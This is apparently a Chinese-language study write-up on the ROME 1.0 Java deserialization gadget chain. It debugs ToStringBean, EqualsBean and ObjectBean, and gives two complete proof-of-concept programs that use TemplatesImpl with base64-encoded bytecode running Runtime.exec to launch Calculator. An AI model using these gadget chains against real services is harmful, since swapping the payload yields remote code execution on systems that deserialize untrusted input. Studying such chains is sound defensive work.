ROME

概念

ROME是一个可以兼容多种格式的feeds解析器

  • 可以从一种格式转换成另一种格式
  • 可以返回指定格式或者java对象

ROME兼容RSS(0.90-0.94,1.0,2.0)

ROME提供了ToStringBean这个类,用于提供深入的toString方法对JavaBean进行操作

环境

pom.xml

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>

Gadget–ysoserial

1
2
3
4
5
6
7
8
* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

调试分析

gadget涉及到的方法
对于不熟悉的尝试进行跟踪

ToStringBean

主要作用是通过反射自动生成对象的字符串表示,覆盖默认的 toString() 方法

跟踪一下需要调用的ToString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private String toString(String prefix) {  
StringBuffer sb = new StringBuffer(128);

try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != (class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object) && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
Exception ex = var8;
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + ex.getMessage() + "\n");
}

return sb.toString();
}

1
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);

跟进查看

1
2
3
4
5
6
7
8
9
public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {  
PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));
if (descriptors == null) {
descriptors = getPDs(klass);
_introspected.put(klass, descriptors);
}

return descriptors;
}

_introspected这个是HashMap的固定属性

descriptors是去HashMap中寻找klass方法,默认为被设置为null

跟进getPDs

1
2
3
4
5
6
7
8
9
private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {  
Method[] methods = klass.getMethods();
Map getters = getPDs(methods, false);
Map setters = getPDs(methods, true);
List pds = merge(getters, setters);
PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
pds.toArray(array);
return array;
}

大概逻辑为descriptors会尝试直接去全局获取klass的getter和setter方法,然后存入到HashMap中
恰好Templates.class只存在一个getter方法为getOutputProperties

现在需要往回查看调用,查看可控点在哪
这里的关键就是klass

klass即是在ToString中的this._beanClass

1
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass); 

ToString中同时也存在

1
2
3
4
5
6
7
8
9
10
11
12
try {  
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != (class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object) && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}

第二个if中会遍历从HashMap获取到的方法,然后会执行该方法

1
pReadMethod.invoke(this._obj, NO_PARAMS);  

this._obj需要更改为需要执行的字节码内容

继续往回查看调用到的this._beanClass,this._obj
构造函数中

1
2
3
4
public ToStringBean(Class beanClass, Object obj) {  
this._beanClass = beanClass;
this._obj = obj;
}

需要的两个东西,一个beanClass为跟进到的klass,需要设置为预调用到的
Templates.class,还需要控制this._objTemplatesImpl的一个实例对象

POC-CC5改

所以关键点为

1
2
3
4
5
6
7
ObjectBean bean=new ObjectBean(Templates.class,templates);

BadAttributeValueExpException val=new BadAttributeValueExpException(null);

Field v =val.getClass().getDeclaredField("val");
v.setAccessible(true);
v.set(val,bean);

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.java_study.rome;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class rome2 {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1ieXRlX2V4cC5qYXZhDAAHAAgHABwMAB0AHgEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMAB8AIAEAFG9yZy9leGFtcGxlL2J5dGVfZXhwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABQACwAAAAQAAQAPAAEAEQAAAAIAEg==");
TemplatesImpl templates = new TemplatesImpl();
setvalue(templates,"_name","N11");
setvalue(templates,"_class",null);
setvalue(templates,"_bytecodes",new byte[][]{code});
setvalue(templates,"_tfactory",new TransformerFactoryImpl());

ObjectBean bean=new ObjectBean(Templates.class,templates);
BadAttributeValueExpException val=new BadAttributeValueExpException(null);

Field v =val.getClass().getDeclaredField("val");
v.setAccessible(true);
v.set(val,bean);


ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(val);
oos.close();


ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object ob=(Object) ois.readObject();






}
public static void setvalue(Object obj, String fieldname,Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);

}
}

POC-ysoserialize

上述是根据toString而联想到的CC5改

根据yso的思路来的话,需要先封装一个HashMap函数,去put到封装好的内容,以触发到hashcode

在 EqualsBean.class 中存在方法

1
2
3
public int beanHashCode() {  
return this._obj.toString().hashCode();
}

将存在beanHashCode方法的对象封装进HashMap里,将会在触发到hashcode()时,刚好触发到toString

如何触发到beanHashCode?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class ObjectBean implements Serializable, Cloneable {  
private EqualsBean _equalsBean;
private ToStringBean _toStringBean;
private CloneableBean _cloneableBean;

public ObjectBean(Class beanClass, Object obj) {
this(beanClass, obj, (Set)null);
}

public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
this._equalsBean = new EqualsBean(beanClass, obj);
this._toStringBean = new ToStringBean(beanClass, obj);
this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}

public Object clone() throws CloneNotSupportedException {
return this._cloneableBean.beanClone();
}

public boolean equals(Object other) {
return this._equalsBean.beanEquals(other);
}

public int hashCode() {
return this._equalsBean.beanHashCode();
}

public String toString() {
return this._toStringBean.toString();
}
}

中存在

1
2
3
4
public int hashCode() {  
return this._equalsBean.beanHashCode();
}
//private EqualsBean _equalsBean;

那么就会执行到

1
2
ObjectBean.hashCode->this._equalsBean.beanHashCode();->this._obj.toString().hashCode();  

至此,就可以触发到toString

toString接下来不再分析

由此,存在

1
2
3
4
5
6
7
8
//封装好是为了去触发到获取到Templates.class的getter方法getOutputProperties,然后遍历HashMap时执行到invoke
ObjectBean bean = new ObjectBean(Templates.class, impl);

//封装好是为了去触发到toString
ObjectBean Bean = new ObjectBean(ObjectBean.class, bean);

Map map = new HashMap();
map.put(Bean, "N11");

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.java_study.rome;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class rome_yso {
public static void main(String[] args) throws Exception{
TemplatesImpl impl = new TemplatesImpl();
byte[] code = Base64.getDecoder().decode("yv66vgAAADMALwoACQAWCQAXABgIABkKABoAGwoAHAAdCAAeCgAcAB8HACAHACEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAIgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAIwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAKAAsHACQMACUAJgEABW5pdmlhBwAnDAAoACkHACoMACsALAEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMAC0ALgEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAOgACAAEAAAAWKrcAAbIAAhIDtgAEuAAFEga2AAdXsQAAAAEADQAAABIABAAAAAoABAALAAwADAAVAA0ADgAAAAQAAQAPAAEAEAARAAIADAAAABkAAAADAAAAAbEAAAABAA0AAAAGAAEAAAAQAA4AAAAEAAEAEgABABAAEwACAAwAAAAZAAAABAAAAAGxAAAAAQANAAAABgABAAAAEwAOAAAABAABABIAAQAUAAAAAgAV");

setFieldValue(impl, "_name", "N11");
setFieldValue(impl, "_bytecodes", new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

ObjectBean bean = new ObjectBean(Templates.class, impl);
ObjectBean Bean = new ObjectBean(ObjectBean.class, bean);

Map map = new HashMap();
map.put(Bean, "N11");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();

ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
Object ob = (Object) ois.readObject();
}

public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}